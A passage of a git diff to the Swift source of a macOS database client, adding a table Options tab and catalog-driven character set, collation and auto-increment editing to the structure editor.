+        } else if autoIncrementRead == .rereading {
+            autoIncrementRead = .unconfirmed
+        }
+    }
+
+    internal func beginTableOptionsCatalogLoad() {
+        tableOptionsCatalog = tableOptionsCatalog.enteringLoad
+    }
+
+    internal func settleTableOptionsCatalog(_ outcome: MetadataFetchOutcome<TableOptionsCatalog?>) {
+        tableOptionsCatalog = tableOptionsCatalog.settled(by: outcome, discardingValue: false)
+    }
+
     internal func reloadConcurrentRefreshAvailability(
         provider: any ScopedMetadataProviding = DatabaseManager.shared
     ) async {
@@ -193,13 +245,20 @@ internal final class StructureEditingSession: ObservableObject {
     }
 }
 
+internal enum AutoIncrementReadState: Equatable {
+    case confirmed
+    case rereading
+    /// The re-read failed or was cancelled, so the loaded counter may be one the server has moved past.
+    case unconfirmed
+}
+
 extension StructureEditingSession: ActiveGridModelProviding {
-    // The schema grid while a sub-tab shows one; Parts and Triggers draw lists of their own.
+    // The schema grid while a sub-tab shows one; Parts, Triggers and Options draw views of their own.
     var activeGridModel: DataGridModel? {
         switch selectedTab {
         case .columns, .indexes, .foreignKeys, .checkConstraints:
             return gridModel
-        case .ddl, .parts, .triggers:
+        case .ddl, .parts, .triggers, .options:
             return nil
         }
     }
diff --git a/apple/TablePro/Views/Structure/StructureEditingSupport.swift b/apple/TablePro/Views/Structure/StructureEditingSupport.swift
index c6c189ae41..b4ba2bcf2b 100644
--- a/apple/TablePro/Views/Structure/StructureEditingSupport.swift
+++ b/apple/TablePro/Views/Structure/StructureEditingSupport.swift
@@ -23,12 +23,19 @@ enum StructureEditingSupport {
         _ column: inout EditableColumnDefinition,
         at index: Int,
         with value: String,
-        orderedFields: [StructureColumnField]
+        orderedFields: [StructureColumnField],
+        catalog: TableOptionsCatalog? = nil
     ) {
         guard index >= 0, index < orderedFields.count else { return }
         switch orderedFields[index] {
         case .name: column.name = value
-        case .type: column.dataType = value
+        case .type:
+            // Only engines with per-column character sets list the field; elsewhere the driver decides a retype's collation.
+            if orderedFields.contains(.charset) {
+                column.setDataType(value)
+            } else {
+                column.dataType = value
+            }
         case .nullable: column.setNullable(parseBool(value) && !column.isPrimaryKey)
         case .defaultValue: column.defaultValue = value.isEmpty ? nil : value
         case .onUpdate:
@@ -38,8 +45,14 @@ enum StructureEditingSupport {
             if column.isPrimaryKey { column.setNullable(false) }
         case .autoIncrement: column.autoIncrement = parseBool(value)
         case .comment: column.comment = value.isEmpty ? nil : value
-        case .charset: column.charset = value.isEmpty ? nil : value
-        case .collation: column.collation = value.isEmpty ? nil : value
+        case .charset:
+            let name = value.isEmpty ? nil : value
+            guard name != column.charset else { break }
+            column.setCharacterSet(name, collation: name.flatMap { catalog?.defaultCollation(for: $0) })
+        case .collation:
+            let collation = value.isEmpty ? nil : value
+            let owner = collation.flatMap { catalog?.characterSet(owning: $0)?.name }
+            column.setCharacterSet(owner ?? column.charset, collation: collation)
         case .generated:
             column.generationKind = GenerationKind(rawValue: value.uppercased())
             if column.generationKind == nil { column.generationExpression = nil }
diff --git a/apple/TablePro/Views/Structure/StructureFooterPolicy.swift b/apple/TablePro/Views/Structure/StructureFooterPolicy.swift
index 3155d98e00..65d8be1e2f 100644
--- a/apple/TablePro/Views/Structure/StructureFooterPolicy.swift
+++ b/apple/TablePro/Views/Structure/StructureFooterPolicy.swift
@@ -24,7 +24,7 @@ enum StructureFooterPolicy {
         case .indexes: return .addIndex
         case .foreignKeys: return .addForeignKey
         case .checkConstraints: return .addCheckConstraint
-        case .ddl, .parts, .triggers: return nil
+        case .options, .ddl, .parts, .triggers: return nil
         }
     }
 
@@ -34,7 +34,7 @@ enum StructureFooterPolicy {
         case .indexes: return .dropIndex
         case .foreignKeys: return .dropForeignKey
         case .checkConstraints: return .dropCheckConstraint
-        case .ddl, .parts, .triggers: return nil
+        case .options, .ddl, .parts, .triggers: return nil
         }
     }
 
@@ -53,7 +53,7 @@ enum StructureFooterPolicy {
             return (String(localized: "Add Foreign Key"), String(localized: "Remove Foreign Key"))
         case .checkConstraints:
             return (String(localized: "Add Check Constraint"), String(localized: "Remove Check Constraint"))
-        case .ddl, .parts, .triggers:
+        case .options, .ddl, .parts, .triggers:
             return nil
         }
     }
diff --git a/apple/TablePro/Views/Structure/StructureGridAdapter+Inspector.swift b/apple/TablePro/Views/Structure/StructureGridAdapter+Inspector.swift
index e2cf87bc85..b988b70087 100644
--- a/apple/TablePro/Views/Structure/StructureGridAdapter+Inspector.swift
+++ b/apple/TablePro/Views/Structure/StructureGridAdapter+Inspector.swift
@@ -16,7 +16,7 @@ extension StructureGridAdapter: InspectorRowSource {
             tab: selectedTab,
             provider: provider,
             canEditSchema: canEdit,
-            lockedFieldIndices: lockedFieldIndices,
+            lockedFieldIndices: lockedFieldIndices.union(characterSetLockedFields(sourceIndex: sourceIndex)),
             rowOptions: { menuOptions(sourceIndex: sourceIndex, field: $0) }
         )
     }
diff --git a/apple/TablePro/Views/Structure/StructureGridAdapter+Menus.swift b/apple/TablePro/Views/Structure/StructureGridAdapter+Menus.swift
index 2e2db334ba..65447cc5ee 100644
--- a/apple/TablePro/Views/Structure/StructureGridAdapter+Menus.swift
+++ b/apple/TablePro/Views/Structure/StructureGridAdapter+Menus.swift
@@ -100,7 +100,7 @@ extension StructureGridAdapter {
         case .checkConstraints:
             guard editGate.allows(.addCheckConstraint) else { return nil }
             label = String(localized: "Add Check Constraint")
-        case .ddl, .parts, .triggers:
+        case .options, .ddl, .parts, .triggers:
             return nil
         }
         let menu = NSMenu()
@@ -161,7 +161,7 @@ extension StructureGridAdapter {
                 guard structureChangeManager.workingCheckConstraints.indices.contains(index) else { continue }
                 let constraint = structureChangeManager.workingCheckConstraints[index]
                 definitions.append("CONSTRAINT \(driver.quoteIdentifier(constraint.name)) CHECK (\(constraint.expression))")
-            case .ddl, .parts, .triggers:
+            case .options, .ddl, .parts, .triggers:
                 break
             }
         }
@@ -227,7 +227,7 @@ extension StructureGridAdapter {
             encoded = try? encoder.encode(indices.sorted().compactMap {
                 manager.workingCheckConstraints.indices.contains($0) ? manager.workingCheckConstraints[$0] : nil
             })
-        case .ddl, .parts, .triggers:
+        case .options, .ddl, .parts, .triggers:
             encoded = nil
         }
 
@@ -278,7 +278,7 @@ extension StructureGridAdapter {
             for constraint in constraints {
                 manager.addCheckConstraint(constraint.withNewIdentity())
             }
-        case .ddl, .parts, .triggers:
+        case .options, .ddl, .parts, .triggers:
             return
         }
         refresh()
diff --git a/apple/TablePro/Views/Structure/StructureGridAdapter.swift b/apple/TablePro/Views/Structure/StructureGridAdapter.swift
index 4363434788..cd22297687 100644
--- a/apple/TablePro/Views/Structure/StructureGridAdapter.swift
+++ b/apple/TablePro/Views/Structure/StructureGridAdapter.swift
@@ -78,6 +78,13 @@ final class StructureGridAdapter {
     private var searchText: String { session?.searchText ?? "" }
     private var sortDescriptor: StructureSortDescriptor? { session?.sortDescriptor }
 
+    var characterSetContext: ColumnCharacterSetMenus.Context {
+        ColumnCharacterSetMenus.Context(
+            catalog: session?.tableOptionsCatalog ?? .idle,
+            tableCharacterSet: structureChangeManager.tableOptions.current?.characterSet
+        )
+    }
+
     var editGate: StructureEditGate {
         StructureEditGate(
             databaseType: connection.type, objectKind: objectKind, schema: schemaName, isSessionBound: isSessionBound
@@ -129,7 +136,10 @@ final class StructureGridAdapter {
     }
 
     var showsGrid: Bool {
-        selectedTab != .ddl && selectedTab != .triggers && selectedTab != .parts
+        switch selectedTab {
+        case .columns, .indexes, .foreignKeys, .checkConstraints: true
+        case .triggers, .options, .ddl, .parts: false
+        }
     }
 
     // MARK: - Refresh
@@ -151,7 +161,8 @@ final class StructureGridAdapter {
             additionalFields: [.primaryKey],
             serverSupport: serverSupport,
             filterText: searchText.isEmpty ? nil : searchText,
-            sortDescriptor: sortDescriptor
+            sortDescriptor: sortDescriptor,
+            picksCharacterSets: ColumnCharacterSetMenus.offersMenus(characterSetContext.catalog)
         )
         self.provider = provider
         let rows = provider.asTableRows()
@@ -248,11 +259,47 @@ final class StructureGridAdapter {
                 foreignKey: structureChangeManager.workingForeignKeys[sourceIndex],
                 tableColumns: structureChangeManager.workingColumns.map(\.name)
             )
-        case .columns, .checkConstraints, .ddl, .parts, .triggers:
+        case .columns:
+            guard structureChangeManager.workingColumns.indices.contains(sourceIndex),
+                  provider.orderedColumnFields.indices.contains(field) else { return nil }
+            return ColumnCharacterSetMenus.options(
+                for: provider.orderedColumnFields[field],
+                column: structureChangeManager.workingColumns[sourceIndex],
+                context: characterSetContext
+            )
+        case .checkConstraints, .options, .ddl, .parts, .triggers:
             return nil
         }
     }
 
+    // Read-only per row, which the column-wide lock cannot say: a type with no character set, or a catalog not read.
+    func characterSetLockedFields(sourceIndex: Int) -> Set<Int> {
+        guard selectedTab == .columns, structureChangeManager.workingColumns.indices.contains(sourceIndex) else { return [] }
+        return ColumnCharacterSetMenus.lockedFieldIndices(
+            orderedFields: provider.orderedColumnFields,
+            column: structureChangeManager.workingColumns[sourceIndex],
+            catalog: characterSetContext.catalog
+        )
+    }
+
+    // Opening the menu is the retry, as it is for the reference menus. The inspector reads the options on every
+    // rebuild, so it never starts a read.
+    private func readCharacterSetCatalogIfNeeded(field: Int) {
+        guard selectedTab == .columns, provider.orderedColumnFields.indices.contains(field),
+              ColumnCharacterSetMenus.isCharacterSetField(provider.orderedColumnFields[field]) else { return }
+        switch characterSetContext.catalog {
+        case .idle, .failed:
+            Task { await session?.readTableOptionsCatalog() }
+        case .loading, .loaded:
+            break
+        }
+    }
+
+    func characterSetCatalogDidChange() {
+        refresh()
+        coordinator?.inspectorRowSourceRevision += 1
+    }
+
     // MARK: - Commands
 
     @discardableResult
@@ -265,9 +312,19 @@ final class StructureGridAdapter {
 
     private func write(_ text: String, field: Int, sourceIndex: Int) -> Bool {
         let tab = selectedTab
+        let characterSets = characterSetContext
         guard field >= 0,
               !editGate.locksField(at: field, on: tab, orderedFields: provider.orderedColumnFields),
-              !structureChangeManager.deleteInsertState(for: sourceIndex, tab: tab).isDeleted else { return false }
+              !structureChangeManager.deleteInsertState(for: sourceIndex, tab: tab).isDeleted,
+              !StructureGridEdits.refuses(
+                  text,
+                  field: field,
+                  sourceIndex: sourceIndex,
+                  tab: tab,
+                  manager: structureChangeManager,
+                  orderedFields: provider.orderedColumnFields,
+                  characterSets: characterSets
+              ) else { return false }
         let changedReference = StructureGridEdits.apply(
             text,
             field: field,
@@ -275,7 +332,8 @@ final class StructureGridAdapter {
             tab: tab,
             manager: structureChangeManager,
             orderedFields: provider.orderedColumnFields,
-            connection: connection
+            connection: connection,
+            characterSets: characterSets
         )
         if let changedReference {
             referenceMenus.origin = coordinator?.selectedTabScope
@@ -297,7 +355,7 @@ final class StructureGridAdapter {
         case .indexes: allowed = editGate.allows(.dropIndex)
         case .foreignKeys: allowed = canEditForeignKeys
         case .checkConstraints: allowed = editGate.allows(.dropCheckConstraint)
-        case .ddl, .parts, .triggers: allowed = false
+        case .options, .ddl, .parts, .triggers: allowed = false
         }
         guard allowed else { return }
         let displayRows = IndexSet(rowIDs.compactMap { model.displayIndex(of: $0) })
@@ -344,8 +402,12 @@ final class StructureGridAdapter {
         refresh()
     }
 
+    // Options stages its edits through the same manager, so its undo is the structure's.
     private var undoesStructureEdits: Bool {
-        selectedTab != .ddl && selectedTab != .triggers
+        switch selectedTab {
+        case .columns, .indexes, .foreignKeys, .checkConstraints, .options, .parts: true
+        case .ddl, .triggers: false
+        }
     }
 
     // The comment bar shows on every sub-tab, so its step undoes even where no grid is on screen.
@@ -394,7 +456,9 @@ extension StructureGridAdapter: DataGridDataSource {
 
     func gridMenuOptions(for rowID: RowID, column: DataGridColumn) -> [GridMenuOption]? {
         guard let sourceIndex = StructureRowProvider.sourceIndex(of: rowID) else { return nil }
-        return menuOptions(sourceIndex: sourceIndex, field: column.dataIndex)
+        let options = menuOptions(sourceIndex: sourceIndex, field: column.dataIndex)
+        readCharacterSetCatalogIfNeeded(field: column.dataIndex)
+        return options
     }
 }
 
diff --git a/apple/TablePro/Views/Structure/StructureGridSupport.swift b/apple/TablePro/Views/Structure/StructureGridSupport.swift
index 51f46a0ce6..16ffdc1dbb 100644
--- a/apple/TablePro/Views/Structure/StructureGridSupport.swift
+++ b/apple/TablePro/Views/Structure/StructureGridSupport.swift
@@ -20,13 +20,26 @@ enum StructureGridEdits {
         tab: StructureTab,
         manager: StructureChangeManager,
         orderedFields: [StructureColumnField],
-        connection: DatabaseConnection
+        connection: DatabaseConnection,
+        characterSets: ColumnCharacterSetMenus.Context? = nil
     ) -> EditableForeignKeyDefinition? {
         switch tab {
         case .columns:
             guard manager.workingColumns.indices.contains(sourceIndex) else { return nil }
             var column = manager.workingColumns[sourceIndex]
-            StructureEditingSupport.updateColumn(&column, at: field, with: text, orderedFields: orderedFields)
+            let value: String
+            switch characterSetEntry(text, field: field, column: column, orderedFields: orderedFields, characterSets) {
+            case .unchecked:
+                value = text
+            case .unchanged, .refused:
+                return nil
+            case .set(let characterSet, let collation):
+                // The catalog's own spelling; the routing below pairs it with its default or owning set.
+                value = (orderedFields[field] == .charset ? characterSet : collation) ?? ""
+            }
+            StructureEditingSupport.updateColumn(
+                &column, at: field, with: value, orderedFields: orderedFields, catalog: characterSets?.loadedCatalog
+            )
             manager.updateColumn(id: column.id, with: column)
         case .indexes:
             guard manager.workingIndexes.indices.contains(sourceIndex) else { return nil }
@@ -49,12 +62,38 @@ enum StructureGridEdits {
             var constraint = manager.workingCheckConstraints[sourceIndex]
             StructureEditingSupport.updateCheckConstraint(&constraint, at: field, with: text)
             manager.updateCheckConstraint(id: constraint.id, with: constraint)
-        case .ddl, .parts, .triggers:
+        case .options, .ddl, .parts, .triggers:
             break
         }
         return nil
     }
 
+    // A Charset or Collation name the catalog does not hold, or one typed while it cannot be checked.
+    static func refuses(
+        _ text: String,
+        field: Int,
+        sourceIndex: Int,
+        tab: StructureTab,
+        manager: StructureChangeManager,
+        orderedFields: [StructureColumnField],
+        characterSets: ColumnCharacterSetMenus.Context?
+    ) -> Bool {
+        guard tab == .columns, manager.workingColumns.indices.contains(sourceIndex) else { return false }
+        let column = manager.workingColumns[sourceIndex]
+        return characterSetEntry(text, field: field, column: column, orderedFields: orderedFields, characterSets) == .refused
+    }
+
+    private static func characterSetEntry(
+        _ text: String,
+        field: Int,
+        column: EditableColumnDefinition,
+        orderedFields: [StructureColumnField],
+        _ characterSets: ColumnCharacterSetMenus.Context?
+    ) -> ColumnCharacterSetMenus.Entry {
+        guard let characterSets, orderedFields.indices.contains(field) else { return .unchecked }
+        return ColumnCharacterSetMenus.entry(text, for: orderedFields[field], column: column, context: characterSets)
+    }
+
     // One Cmd+Z brings the whole selection back: the manager registers an undo per row.
     static func delete(sourceIndices: [Int], tab: StructureTab, manager: StructureChangeManager) {
         manager.performAsOneUndoStep {
@@ -72,7 +111,7 @@ enum StructureGridEdits {
                 case .checkConstraints:
                     guard manager.workingCheckConstraints.indices.contains(index) else { continue }
                     manager.deleteCheckConstraint(id: manager.workingCheckConstraints[index].id)
-                case .ddl, .parts, .triggers:
+                case .options, .ddl, .parts, .triggers:
                     break
                 }
             }
@@ -96,7 +135,7 @@ enum StructureGridEdits {
             case .checkConstraints:
                 guard manager.workingCheckConstraints.indices.contains(index) else { continue }
                 manager.addCheckConstraint(manager.workingCheckConstraints[index].withNewIdentity())
-            case .ddl, .parts, .triggers:
+            case .options, .ddl, .parts, .triggers:
                 break
             }
         }
@@ -108,7 +147,7 @@ enum StructureGridEdits {
         case .indexes: manager.addNewIndex()
         case .foreignKeys: manager.addNewForeignKey()
         case .checkConstraints: manager.addNewCheckConstraint()
-        case .ddl, .parts, .triggers: break
+        case .options, .ddl, .parts, .triggers: break
         }
     }
 
@@ -118,7 +157,7 @@ enum StructureGridEdits {
         case .indexes: manager.workingIndexes.count
         case .foreignKeys: manager.workingForeignKeys.count
         case .checkConstraints: manager.workingCheckConstraints.count
-        case .ddl, .parts, .triggers: 0
+        case .options, .ddl, .parts, .triggers: 0
         }
     }
 
@@ -168,7 +207,7 @@ enum StructureGridEdits {
             let working = manager.workingCheckConstraints[sourceIndex]
             guard let original = manager.currentCheckConstraints.first(where: { $0.id == working.id }) else { return [] }
             return StructureEditingSupport.checkConstraintModifiedIndices(old: original, new: working)
-        case .ddl, .parts, .triggers:
+        case .options, .ddl, .parts, .triggers:
             return []
         }
     }
diff --git a/apple/TablePro/Views/Structure/StructureInspectorRowBuilder.swift b/apple/TablePro/Views/Structure/StructureInspectorRowBuilder.swift
index 11cdbd450e..cbbc261b7d 100644
--- a/apple/TablePro/Views/Structure/StructureInspectorRowBuilder.swift
+++ b/apple/TablePro/Views/Structure/StructureInspectorRowBuilder.swift
@@ -22,7 +22,7 @@ internal enum StructureInspectorRowBuilder {
         switch tab {
         case .columns, .indexes, .foreignKeys, .checkConstraints:
             break
-        case .ddl, .parts, .triggers:
+        case .options, .ddl, .parts, .triggers:
             return nil
         }
 
diff --git a/apple/TablePro/Views/Structure/StructureRowProvider.swift b/apple/TablePro/Views/Structure/StructureRowProvider.swift
index 9f06531a6f..1bc918aa9a 100644
--- a/apple/TablePro/Views/Structure/StructureRowProvider.swift
+++ b/apple/TablePro/Views/Structure/StructureRowProvider.swift
@@ -22,6 +22,7 @@ final class StructureRowProvider {
     private let databaseType: DatabaseType
     private let additionalFields: Set<StructureColumnField>
     private let serverSupport: StructureServerSupport
+    private let picksCharacterSets: Bool
     let orderedColumnFields: [StructureColumnField]
     private let filterText: String?
     private let sortDescriptor: StructureSortDescriptor?
@@ -64,7 +65,7 @@ final class StructureRowProvider {
                 String(localized: "Expression"),
                 String(localized: "Columns")
             ]
-        case .ddl, .parts, .triggers:
+        case .options, .ddl, .parts, .triggers:
             return []
         }
     }
@@ -81,7 +82,12 @@ final class StructureRowProvider {
         switch tab {
         case .foreignKeys: ForeignKeyReferenceMenus.rowDependentColumns
         case .indexes: [Self.indexTypeColumn]
-        case .columns, .checkConstraints, .ddl, .parts, .triggers: []
+        case .columns:
+            // A collation list follows the row's character set, and both cells close on a non-text type.
+            picksCharacterSets
+                ? Set(orderedColumnFields.indices.filter { ColumnCharacterSetMenus.isCharacterSetField(orderedColumnFields[$0]) })
+                : []
+        case .checkConstraints, .options, .ddl, .parts, .triggers: []
         }
     }
 
@@ -121,7 +127,7 @@ final class StructureRowProvider {
                 result[index] = ColumnDefaultVocabulary.options(for: databaseType)
             }
             return result
-        case .checkConstraints, .ddl, .parts, .triggers:
+        case .checkConstraints, .options, .ddl, .parts, .triggers:
             return [:]
         }
     }
@@ -138,7 +144,7 @@ final class StructureRowProvider {
         case .columns:
             if let i = orderedColumnFields.firstIndex(of: .type) { return [i] }
             return []
-        case .indexes, .foreignKeys, .checkConstraints, .ddl, .parts, .triggers:
+        case .indexes, .foreignKeys, .checkConstraints, .options, .ddl, .parts, .triggers:
             return []
         }
     }
@@ -154,13 +160,15 @@ final class StructureRowProvider {
         additionalFields: Set<StructureColumnField> = [],
         serverSupport: StructureServerSupport,
         filterText: String? = nil,
-        sortDescriptor: StructureSortDescriptor? = nil
+        sortDescriptor: StructureSortDescriptor? = nil,
+        picksCharacterSets: Bool = false
     ) {
         self.changeManager = changeManager
         self.tab = tab
         self.databaseType = databaseType
         self.additionalFields = additionalFields
         self.serverSupport = serverSupport
+        self.picksCharacterSets = picksCharacterSets
         self.filterText = filterText
         self.sortDescriptor = sortDescriptor
         self.orderedColumnFields = Self.orderedFields(
@@ -238,7 +246,7 @@ final class StructureRowProvider {
                 return nil
             }
             return Self.row(for: original)
-        case .ddl, .parts, .triggers:
+        case .options, .ddl, .parts, .triggers:
             return nil
         }
     }
@@ -272,7 +280,7 @@ final class StructureRowProvider {
             return changeManager.workingCheckConstraints.enumerated().map { index, constraint in
                 IndexedRow(sourceIndex: index, row: row(for: constraint))
             }
-        case .ddl, .parts, .triggers:
+        case .options, .ddl, .parts, .triggers:
             return []
         }
     }
diff --git a/apple/TablePro/Views/Structure/StructureServerSupport.swift b/apple/TablePro/Views/Structure/StructureServerSupport.swift
index 46eecc1195..8a35217ea4 100644
--- a/apple/TablePro/Views/Structure/StructureServerSupport.swift
+++ b/apple/TablePro/Views/Structure/StructureServerSupport.swift
@@ -53,7 +53,7 @@ struct StructureServerSupport: Equatable, Sendable {
         switch tab {
         case .checkConstraints:
             return checkConstraintRefusal == nil
-        case .columns, .indexes, .foreignKeys, .triggers, .ddl, .parts:
+        case .columns, .indexes, .foreignKeys, .triggers, .options, .ddl, .parts:
             return true
         }
     }
diff --git a/apple/TablePro/Views/Structure/StructureTabAvailability.swift b/apple/TablePro/Views/Structure/StructureTabAvailability.swift
index 6e113c755e..155b53f9a8 100644
--- a/apple/TablePro/Views/Structure/StructureTabAvailability.swift
+++ b/apple/TablePro/Views/Structure/StructureTabAvailability.swift
@@ -13,13 +13,18 @@ import Foundation
 /// and MariaDB before 10.2.1 answer `Query OK` to a `CHECK` clause and throw it away. Offering the
 /// tab there is offering an edit that reports success and changes nothing.
 enum StructureTabAvailability {
-    static func tabs(for type: DatabaseType, serverSupport: StructureServerSupport) -> [StructureTab] {
+    // Table options are the driver's answer for this object (`offersTableOptionsTab`), never the engine's type.
+    static func tabs(
+        for type: DatabaseType,
+        serverSupport: StructureServerSupport,
+        offersTableOptions: Bool = false
+    ) -> [StructureTab] {
         StructureTab.allCases.filter { tab in
-            engineOffers(tab, on: type) && serverSupport.offers(tab)
+            engineOffers(tab, on: type, offersTableOptions: offersTableOptions) && serverSupport.offers(tab)
         }
     }
 
-    private static func engineOffers(_ tab: StructureTab, on type: DatabaseType) -> Bool {
+    private static func engineOffers(_ tab: StructureTab, on type: DatabaseType, offersTableOptions: Bool) -> Bool {
         switch tab {
         case .foreignKeys:
             return type.supportsForeignKeys
@@ -29,6 +34,8 @@ enum StructureTabAvailability {
             return type.supportsTriggers
         case .checkConstraints:
             return type.supportsCheckConstraints
+        case .options:
+            return offersTableOptions
         case .columns, .indexes, .ddl:
             return true
         }
diff --git a/apple/TablePro/Views/Structure/StructureTableOptionsLoading.swift b/apple/TablePro/Views/Structure/StructureTableOptionsLoading.swift
new file mode 100644
index 0000000000..ee9a1a629f
--- /dev/null
+++ b/apple/TablePro/Views/Structure/StructureTableOptionsLoading.swift
@@ -0,0 +1,74 @@
+//
+//  StructureTableOptionsLoading.swift
+//  TablePro
+//
+
+import Foundation
+import os
+import TableProPluginKit
+
+internal extension StructureEditingSession {
+    // The driver's statement probe decides, never the engine's type. A temporary table is left out: its
+    // options are not in the shared catalog the read goes to, and the tab is read-only there anyway.
+    var offersTableOptionsTab: Bool {
+        guard let driver = DatabaseManager.shared.driver(for: connection.id) else { return false }
+        let gate = StructureEditGate(
+            databaseType: connection.type, objectKind: objectKind, schema: schemaName, isSessionBound: isSessionBound
+        )
+        return gate.canEditSchema && DatabaseObjectToolEligibility.offersTableOptions(driver: driver, objectKind: objectKind)
+    }
+
+    var needsTableOptionsCatalog: Bool {
+        if offersTableOptionsTab { return true }
+        return StructureRowProvider
+            .orderedFields(for: connection.type, additionalFields: [.primaryKey], serverSupport: serverSupport)
+            .contains(where: ColumnCharacterSetMenus.isCharacterSetField)
+    }
+
+    func readTableOptions(provider: any ScopedMetadataProviding = DatabaseManager.shared) async {
+        guard offersTableOptionsTab else { return }
+        beginTableOptionsLoad()
+        let loader = TableStructureLoader(scope: scope, tableName: tableName, provider: provider)
+        let outcome: MetadataFetchOutcome<TableOptions?>
+        do {
+            outcome = .fetched(try await loader.tableOptions())
+        } catch {
+            outcome = Self.failedRead(error, of: "table options")
+        }
+        settleTableOptions(outcome)
+    }
+
+    // Server-wide, so it is read once for the tab and again only after a failure. The session owns the read, so a
+    // view task cancelled by a tab switch neither cancels it nor leaves the returning view waiting on nothing.
+    func readTableOptionsCatalog(provider: any ScopedMetadataProviding = DatabaseManager.shared) async {
+        if case .loaded = tableOptionsCatalog { return }
+        if let tableOptionsCatalogRead {
+            await tableOptionsCatalogRead.value
+            return
+        }
+        beginTableOptionsCatalogLoad()
+        let loader = TableStructureLoader(scope: scope, tableName: tableName, provider: provider)
+        let read = Task { [weak self] in
+            let outcome: MetadataFetchOutcome<TableOptionsCatalog?>
+            do {
+                outcome = .fetched(try await loader.tableOptionsCatalog())
+            } catch {
+                outcome = Self.failedRead(error, of: "character set catalog")
+            }
+            self?.settleTableOptionsCatalog(outcome)
+            self?.tableOptionsCatalogRead = nil
+        }
+        tableOptionsCatalogRead = read
+        await read.value
+    }
+
+    private static func failedRead<Value: Sendable>(_ error: any Error, of what: String) -> MetadataFetchOutcome<Value> {
+        switch StructureFetchFailure(error, taskIsCancelled: Task.isCancelled) {
+        case .cancelled:
+            return .cancelled
+        case .failed(let message):
+            logger.error("Failed to load the \(what, privacy: .public): \(error.publicLogShape, privacy: .public)")
+            return .failed(message)
+        }
+    }
+}
diff --git a/apple/TablePro/Views/Structure/StructureTableOptionsPolicy.swift b/apple/TablePro/Views/Structure/StructureTableOptionsPolicy.swift
new file mode 100644
index 0000000000..836499f7f2
--- /dev/null
+++ b/apple/TablePro/Views/Structure/StructureTableOptionsPolicy.swift
@@ -0,0 +1,32 @@
+//
+//  StructureTableOptionsPolicy.swift
+//  TablePro
+//
+
+import Foundation
+
+internal enum StructureTableOptionsPolicy {
+    internal struct Editability: Equatable {
+        internal var isEditable: Bool
+        internal var unavailableReason: String?
+    }
+
+    // Without a baseline nothing can be staged: the read is still running or failed, and the tab says which.
+    internal static func resolve(hasBaseline: Bool, isReadOnly: Bool, isSaving: Bool) -> Editability {
+        if isSaving {
+            return Editability(isEditable: false, unavailableReason: StructureFooterPolicy.savingReason)
+        }
+        guard hasBaseline else {
+            return Editability(isEditable: false, unavailableReason: nil)
+        }
+        guard !isReadOnly else {
+            return Editability(
+                isEditable: false,
+                unavailableReason: String(
+                    localized: "Cannot save schema changes: TablePro's Safe Mode is set to read-only for this connection."
+                )
+            )
+        }
+        return Editability(isEditable: true, unavailableReason: nil)
+    }
+}
diff --git a/apple/TablePro/Views/Structure/StructureTableRebuildHandler.swift b/apple/TablePro/Views/Structure/StructureTableRebuildHandler.swift
index 89606ef982..629952ae49 100644
--- a/apple/TablePro/Views/Structure/StructureTableRebuildHandler.swift
+++ b/apple/TablePro/Views/Structure/StructureTableRebuildHandler.swift
@@ -180,7 +180,8 @@ enum StructureTableRebuildHandler {
                     partition.rebuilt.append(change)
                 }
             case .addIndex, .modifyIndex, .deleteIndex,
-                 .addCheckConstraint, .modifyCheckConstraint, .deleteCheckConstraint, .modifyTableComment:
+                 .addCheckConstraint, .modifyCheckConstraint, .deleteCheckConstraint, .modifyTableComment,
+                 .modifyTableCharacterSet, .modifyAutoIncrement:
                 partition.trailing.append(change)
             case .modifyPrimaryKey:
                 partition.unsupported.append(change)
diff --git a/apple/TablePro/Views/Structure/TableOptionsForm.swift b/apple/TablePro/Views/Structure/TableOptionsForm.swift
new file mode 100644
index 0000000000..1b7d62eae4
--- /dev/null
+++ b/apple/TablePro/Views/Structure/TableOptionsForm.swift
@@ -0,0 +1,102 @@
+//
+//  TableOptionsForm.swift
+//  TablePro
+//
+
+import Foundation
+import TableProPluginKit
+
+// The lists the table options pickers offer. A Picker whose selection matches no tag shows nothing selected, so
+// the value the table holds is always an item, whether the catalog lists it or not (MySQL 8.0 before .30 reports
+// `utf8`, which the catalog spells `utf8mb3`).
+enum TableOptionsForm {
+    struct Choice: Hashable, Identifiable {
+        let name: String
+        let isDefault: Bool
+
+        var id: String { name }
+        var title: String { TableOptionsForm.collationTitle(name, isDefault: isDefault) }
+    }
+
+    static func collationTitle(_ name: String, isDefault: Bool) -> String {
+        isDefault ? String(format: String(localized: "%@ (default)"), name) : name
+    }
+
+    static func characterSets(in catalog: TableOptionsCatalog?, keeping current: String?) -> [String] {
+        keeping(current, in: catalog?.characterSets.map(\.name) ?? [])
+    }
+
+    static func collations(
+        in catalog: TableOptionsCatalog?,
+        characterSet: String?,
+        keeping current: String?
+    ) -> [Choice] {
+        let set = characterSet.flatMap { catalog?.characterSet(named: $0) }
+        let listed = (set?.collations ?? []).map { Choice(name: $0, isDefault: $0 == set?.defaultCollation) }
+        guard let current, !current.isEmpty, !listed.contains(where: { matches($0.name, current) }) else { return listed }
+        return [Choice(name: current, isDefault: false)] + listed
+    }
+
+    static func engines(in catalog: TableOptionsCatalog?, keeping current: String?) -> [Choice] {
+        let names = keeping(current, in: catalog?.engines ?? [])
+        return names.map { Choice(name: $0, isDefault: matches($0, catalog?.defaultEngine)) }
+    }
+
+    // A character set without a collation takes its default, and one from the previous set is an error (1253).
+    static func selectingCharacterSet(_ name: String, in options: TableOptions, catalog: TableOptionsCatalog?) -> TableOptions {
+        var next = options
+        next.characterSet = name
+        next.collation = catalog?.defaultCollation(for: name)?.nilIfEmpty
+        return next
+    }
+
+    static func defaultCollation(of name: String?, in catalog: TableOptionsCatalog?) -> String? {
+        name.flatMap { catalog?.defaultCollation(for: $0) }?.nilIfEmpty
+    }
+
+    private static func keeping(_ current: String?, in names: [String]) -> [String] {
+        guard let current, !current.isEmpty, !names.contains(where: { matches($0, current) }) else { return names }
+        return [current] + names
+    }
+
+    private static func matches(_ lhs: String, _ rhs: String?) -> Bool {
+        guard let rhs else { return false }
+        return lhs.caseInsensitiveCompare(rhs) == .orderedSame
+    }
+}
+
+// What the Next Auto Increment field holds. Past the AUTO_INCREMENT column's type the next INSERT fails with 1467,
+// so the range is the draft column's, which a type change in the same save moves.
+enum AutoIncrementEntry: Equatable {
+    case empty
+    case value(UInt64)
+    case invalid(maximum: UInt64)
+
+    init(_ text: String, maximum: UInt64, original: UInt64? = nil) {
+        let trimmed = text.trimmingCharacters(in: .whitespaces)
+        guard !trimmed.isEmpty else {
+            self = .empty
+            return
+        }
